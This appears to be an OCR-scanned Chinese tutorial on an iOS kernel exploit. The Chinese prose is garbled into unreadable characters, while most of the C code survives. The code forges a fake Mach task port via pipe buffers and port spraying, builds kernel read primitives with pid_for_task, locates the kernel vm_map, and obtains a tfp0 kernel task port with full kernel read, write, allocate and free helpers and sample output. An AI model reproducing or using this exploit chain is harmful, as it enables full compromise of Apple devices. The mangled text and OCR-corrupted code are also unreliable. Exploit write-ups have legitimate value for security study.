SR A BERIEM pipe_buffer , EARNIZBIBEANT 8 713, FRLUXEIEEN 8 F M

;& pipe_buffer FIBI 8 DFHEIE, FIKT— NMERMM G IEREEIRIPort RS 5 1E
B, MRBRFMELER, NMRARIRFEBEARIN, S RBEER

1 mach port t p = MACH PORT NULL;
2 for (int i = 0; i < 10000; i++) {

3 p = fill kalloc _with port pointer(target, 0x10000/8,
MACH_MSG_TYPE_COPY_ SEND);

4 uint64 t addr;

5 read(fds[0], &addr, 8);

6 if (addr == target addr) { // if we see the address of our port,
it worked

7 break;

8 }

9 write(fds[1l], &addr, 8); // reset buffer position

10 mach port destroy(mach_ task self(), p); // spraying didn't work,
so free port

11 p = MACH PORT NULL;

12}

FRT £ds 24, ZNFMERIBE— port fds AT 4513 SMAPHIBRE I

1 int port fds[2] = {-1, -1};
2 if (SMAP) {

3 ret = pipe(port fds);

4

SEAVRE— TR T Port LSt AZE H X pipe_buffer Zf5, MBEEMIE
™ ipc_port ,anZKT

YFLEMIA ipc_port M task MTE T EEN—FAFZE, METZ/ER—E port fds &/HKX

1  kport t *fakeport = malloc(sizeof(kport t) + 0x600);
2 ktask t *fake task = (ktask t *)((uint64 t)fakeport +
sizeof (kport t));

bzero((void *)fakeport, sizeof(kport t) + 0x600);

fake task->ref count = 0Oxff;
fakeport->ip bits = IO BITS ACTIVE | IKOT TASK;

o U bW



fakeport->ip references = 0xd00d;

fakeport->ip lock.type = 0xl1l1l;

fakeport->ip messages.port.receiver name = 1;

fakeport->ip messages.port.msgcount = 0;

fakeport->ip messages.port.qlimit = MACH PORT QLIMIT LARGE;
fakeport->ip messages.port.waitqg.flags = mach port waitq flags();
fakeport->ip srights = 99;

fakeport->ip kobject = 0;

fakeport->ip receiver = ipc_ space kernel;

if (SMAP) {
write(port fds[1l], (void *)fakeport, sizeof(kport t) + 0x600);
read(port fds[0], (void *)fakeport, sizeof(kport t) + 0x600);

BB EASH kport_t NIEEMIERI— port L5HIK

typedef volatile struct {
uint32 t ip bits;
uint32_t ip references;
struct {
uint64 t data;
uint64 t type;
} ip lock; // spinlock
struct {
struct {
struct {
uint32 t flags;
uint32 t waitq interlock;
uint64 t waitg set id;
uint64 t waitq prepost id;
struct {
uint64 t next;
uint64 t prev;
} waitqg_queue;
} waitqg;
uint64 t messages;
uint32_ t seqgno;
uint32 t receiver name;
uintl6 t msgcount;
uintlé t glimit;
uint32 t pad;
} port;
uint64 t klist;
} ip messages;

uint64 t ip receiver;



30
31
32
33
34
35
36
37
38
39

uint64 t ip kobject;
uint64 t ip nsrequest;
uint64 t ip pdrequest;
uint64 t ip requests;
uint64 t ip premsg;
uint64 t ip context;
uint32 t ip flags;
uint32 t ip mscount;
uint32 t ip srights;
uint32 t ip sorights;

40 } kport_ t;

A TZIHRY,

2J5IX Fake Task Port Hyithhit, HikZE UI'JJW%EZ%ESZE’JV\H‘”&FF

X pipe buffer B, XFBITAREIXNMEME: F—1 8 FPEH] Fake Task Port
Astbil, fRTEEREIEE Porthyithiit

S5c3REY Fake Task Port UMt port pipe buffer, tHE port fds XJNAIAZE HFEX

A U b W N

uint64 t port fg data = 0;
uint64 t port pipe buffer = 0;

if (SMAP) {

fproc = rk64 check(fd ofiles + port fds[0] * 8);
f fglob = rké64 check(fproc +

koffset (KSTRUCT OFFSET FILEPROC_F FGLOB));

port fg data = rk64_check(f_ fglob +

koffset (KSTRUCT OFFSET FILEGLOB_FG_DATA));

port pipe buffer = rk64 check(port fg data +

koffset (KSTRUCT OFFSET_ PIPE BUFFER));

printf("[*] second pipe buffer: 0x%1llx\n", port pipe buffer);

fakeport->ip_kobject 1EAMIE LN Task , X TEMIRR B FHTHIENL, FXES
B Fake Task Port E’\]Wﬁ’ﬁﬂ@*@iﬁ

1 fakeport->ip kobject = port pipe buffer + sizeof (kport t);

1§ SCRXAIIER) Fake Task Port FNIERIZIAZE P XE

1 write(port fds[1l], (void *)fakeport, sizeof(kport t) + 0x600);

FEHNIERIEM pipe buffer, JGB—1 8 EHEMN port_pipe_buffer fothit, BBAE
58 55— MPortiZAS B A AR EE B BA T A BT port_fds SEHTIRHIT



1

write(fds[1l], &port pipe buffer, 8);

JREX Fake Task Port MIAFZEIA, Mp FIZHEIETRKIZNOOLEHE, F— T aRMEHA]
#J Fake Task Port, MEAFSMERIANZSSTER cAST_MACH NAME_TO_PORT R SEIR
RN ASHbIE —#, ARSEZIBFESSAA cAST MACH PORT TO NAME J§RAZZSHENEEE
Y22 NGIE

1

struct ool msg *msg = malloc(0x1000);

ret = mach msg(&msg->hdr, MACH RCV_MSG, 0, 0x1000, p,
MACH MSG_TIMEOUT NONE, MACH PORT NULL);

mach port t *received ports = msg->ool ports.address;
mach port t our port = received ports[0]; // fake port!

free(msgqg);

FRBNIEFE T Fake Task Port AP SERMMZSHELE

8. i1 E&ZVM_MAP

FEAEXEII T AT ARETZNRE, HNTKIT—TESTENREZE

B fake task REXE bsd info MH{ELAIEH T = read addr ptr, 7& kr32 BEFIREEH

215

=
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12
13
14
15
16
17
18

read_addr_ptr BY{H, BHAE pid_for_task(), XBEZTEZEIETLAER

uint64 t *read addr ptr = (uint64 t *)((uint64 t)fake task +
koffset (KSTRUCT OFFSET TASK BSD INFO));

#define kr32(addr, value)\
if (sMAP) {\
read(port fds[0], (void *)fakeport, sizeof(kport t) +
0x600);\
A
*read addr ptr = addr - koffset(KSTRUCT OFFSET PROC_PID);\
if (sMAP) {\
write(port fds[l], (void *)fakeport, sizeof(kport t) +
0x600);\
N
value = 0x0;\

ret = pid for task(our port, (int *)&value);

uint32 t read64 tmp;
#define kr64(addr, value)\
kr32(addr + 0x4, read64 tmp);\
kr32(addr, value);\
value = value | ((uint64 t)read64 tmp << 32)



& SREXPIDIX N B —T, BE— 1 Port St RIREXPIDEY N T
1 *(*(*(fake port + offset kobject) + offset bsd info) + offset p pid)

AN5RAG kobject AIEIRE N addr - offset_p_pid, addr AEAIZIZENEIERIMBLL, FTAE
Z LR SREXAI R B A MENRY addr 15 [@BVEIE

1  *(addr - offset p pid + offset p pid) => *addr

AISH L $RE read addr ptr 5% kr32() Bi®E read addr ptr FEZFEN TR
& task->bsd_info Ny addr - offset p pid, HIFAKE pid for task() EIREYPIDHY,
FUEESEIMERIR, fEULEME, R k64 () EMT 8 FTIEEKR

XTAZEEERIEINEREZS!
M XMERIERIBRIPIDIES, FHIBTATaskfiIPIDEEN 0, MRAEMIKENEI—T
Task, GIRIKEXZIPIDA 0, FiFKEXVM_MAP

1 uint64 t struct_ task;
2  kré64(self port addr + koffset(KSTRUCT OFFSET IPC PORT IP KOBJECT),

struct_task);

3 printf("[!] READING VIA FAKE PORT WORKED? 0x%1lx\n", struct task);

4

5 uint64 t kernel vm map = 0;

6 while (struct task != 0) {

7 uint64 t bsd info;

8 kr64 (struct task + koffset(KSTRUCT OFFSET TASK BSD INFO),
bsd info);

9 uint32_t pid;

10 kr32(bsd_info + koffset(KSTRUCT OFFSET PROC_PID), pid);

11 if (pid == 0) {

12 uint64 t vm map;

13 kré64 (struct task + koffset(KSTRUCT OFFSET TASK VM MAP),
vm_map) ;

14 kernel _vm map = vm_map;

15 break;

16 }

17 kr64 (struct_task + koffset (KSTRUCT OFFSET TASK PREV),
struct_ task);

18 }

19 printf("[i] kernel vm map: 0x%1lx\n", kernel vm map);

EISRENZIBOVM_MAPIEZ 2 E (1) Fake Task Port, — P HRIHZNTFPOMERIFT



fake task->lock.data

fake task->lock.type

fake_task->ref count

fake task->active = 1;

0 N o U W N R

read(port fds[0], (void *)fakeport, sizeof(kport t) + 0x600);

0x0;
0x22;
100;

fake task->map = kernel vm map;
*(uint32 t *)((uint64_ t)fake task +

koffset (KSTRUCT OFFSET TASK ITK SELF)) = 1;

10 if (SMAP) {
11 write(port fds[1l],
12}

%Dtﬁft—ﬁ\’i\)% tfpzero ’E%

tfpzero = tfpl;

~N o O b W N

(void *)fakeport, sizeof(kport t) + 0x600);

static mach port t tfpzero;

void init kernel memory(mach port t tfp0) {

init kernel memory(our port);

R8s FTAM, B 0x4141414141414141, BIEHR, BERINRARX D tfpzero EEEANY

printf("[*] allocated:

printf("[*] read back:

0 N o0 OB W N

kfree(addr, 8);

uint64 t addr = kalloc(8);
0x%11x\n", addr);

wko64 (addr, 0x4141414141414141);
uint64 t readb = rk64(addr);
0x%11x\n", readb);

REBHT—R XERIBFNHEAZNTE, ARZESEENT

1 #define VM MIN KERNEL ADDRESS ((vm_address t) Oxffffffe000000000ULL)
2 #define VM MAX KERNEL ADDRESS ((vm_address t) Oxfffffff3ffffffffULL)

XL k* () BREZE T tfpzero SLHAYRER

RFHBRE: kalloc()



uint64 t kalloc(vm size t size) {

mach vm address t address = 0;

mach _vm allocate(tfpzero, (mach vm address_t *)&address, size,
VM_FLAGS_ANYWHERE) ;

return address;

KA rk32() F rke4()

uint32 t rk32(uint64 t where) {
uint32_t out;
kread(where, &out, sizeof(uint32 t));

return out;

uint64 t rk64(uint64 t where) {
uint64 t out;
kread(where, &out, sizeof(uint64 t));

return out;

size t kread(uinté64 t where, void *p, size t size) {
int rv;
size t offset = 0;
while (offset < size) {
mach_vm size t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach vm read overwrite(tfpzero, where + offset, chunk,
(mach vm address t)p + offset, &sz);
offset += sz;
}

return offset;

BERE: wk32() M wke4 ()

void wk32(uint64 t where, uint32 t what) {
uint32 t what = what;

kwrite(where, & what, sizeof(uint32 t));

void wk64(uint64 t where, uint64 t what) {
uint64 t what = what;



kwrite(where, & what, sizeof(uint64 t));

size t kwrite(uint64 t where, const void *p, size t size) {
int rv;
size t offset = 0;
while (offset < size) {
size t chunk = 2048;
if (chunk > size - offset) {

chunk = size - offset;

}

rv = mach_vm write(tfpzero, where + offset,
(mach vm offset t)p + offset, (int)chunk);
offset += chunk;

}
return offset;
RFEINREL: kfree()

void kfree(mach vm address t address, vm size t size) {

mach vm deallocate(tfpzero, address, size);

9. $2ERITFPO

new tfp0 R IRAREFERMTFPO, KEX find port () B2FIH LEH tfpzero #H1TIEEL

mach port t new tfp0 = new port();
uint64 t new _addr = find port(new tfp0, self port addr);

R IAD BRI ERREA RIS A AIPOrt#IN ipc_entry t BIFZVIFTETE is_table B, AU
BT AP SPort kit B R 5| BN X PortA RStk



uint64 t find port(mach port name t port, uint64 t task self) {
uint64 t task_addr = rk64(task self +
koffset (KSTRUCT OFFSET IPC_PORT IP KOBJECT));
uint64 t itk space = rk64(task_addr +
koffset (KSTRUCT OFFSET TASK ITK SPACE));
uint64 t is_table = rké64(itk space +
koffset (KSTRUCT OFFSET IPC_SPACE IS TABLE));
uint32 t port_index = port >> 8; // RS
const int sizeof ipc entry t = 0x18;
uint64 t port addr = rk64(is_table + (port_index *
sizeof ipc_entry t));

return port_ addr;

ERIBE—RRNZANFRATE0E Fake Task, BITERE kwrite() J5 fake task BEIFTHIBER
AZRFETE), $AfG1L Fake Task Port B ip kobject EEIX A FINAE, =EEIRFT

new_addr }§[@HY new tfp0 ATERIREN—THRLZHTFPO

uint64 t faketask = kalloc(0x600);
kwrite(faketask, fake task, 0x600);
fakeport->ip kobject = faketask;

kwrite(new_addr, (const void*)fakeport, sizeof(kport t));
BE—B FENSNER, MHHX new_tfpo E&EFIA

init kernel memory(new_ tfp0);
printf("[+] tfp0: 0x%x\n", new tfp0);

addr = kalloc(8);
printf("[*] allocated: 0x%1lx\n", addr);

wké64 (addr, 0x4141414141414141);
readb = rké64(addr);
printf("[*] read back: 0x%1lx\n", readb);

kfree(addr, 8);

4

WEREBYF
[+] tfp0O: 0x6203

[*] allocated: Oxfffffff008el1£000
[*] read back: 0x4141414141414141

10. BIERAEFMIE



M is_table FMIFRZEHIFOEMPoOrt, AGMIER fds WMMAZE DX, EEMERNT, TF
—LEEE AR, 10Surface#fxis

1 // 3RBlis_table

2 uint64 t task_addr = rk64(self port addr +
koffset (KSTRUCT OFFSET_ IPC_PORT_ IP KOBJECT));

3 uint64 t itk space = rk64(task_addr +
koffset (KSTRUCT OFFSET TASK ITK SPACE));

4 uint64 t is_ table = rk64(itk_space +
koffset (KSTRUCT OFFSET_IPC_SPACE IS TABLE));

uint32 t port_index = our_port >> 8;

5
6 // RERERS|
7
8

const int sizeof ipc entry t = 0x18;

10 // B=E
11 wk32(is_table + (port index * sizeof ipc entry t) + 8, 0);
12 wké64(is_table + (port index * sizeof ipc entry t), 0);

14 // X pipe bufferEfl{BEH, XBIEHHERT

15 wk64(fg data + koffset(KSTRUCT OFFSET PIPE BUFFER), 0); // freed
already via mach msg()

16

17 if (fds[0] > 0) <close(fds[0]);

18 if (fds[1l] > 0) close(fds[1l]);

19 if (port fds[0] > 0) close(port fds[0]);

20 1if (port fds[1l] > 0) close(port fds[1l]);

21

22 free((void *)fakeport);

23 deinit IOSurface();

24 return new tfp0;

11. B4

XRXEREREH T TAR, REMHERKBFRR, LD NG, MLEIH LI, W
LR HITIMA, EMMRIEITTE, (NEPorthl BMMEMIRAL R AT ABIEHITIHE..., XLE(a)
AR —FER, FAUAMBEREREDTNS T, T
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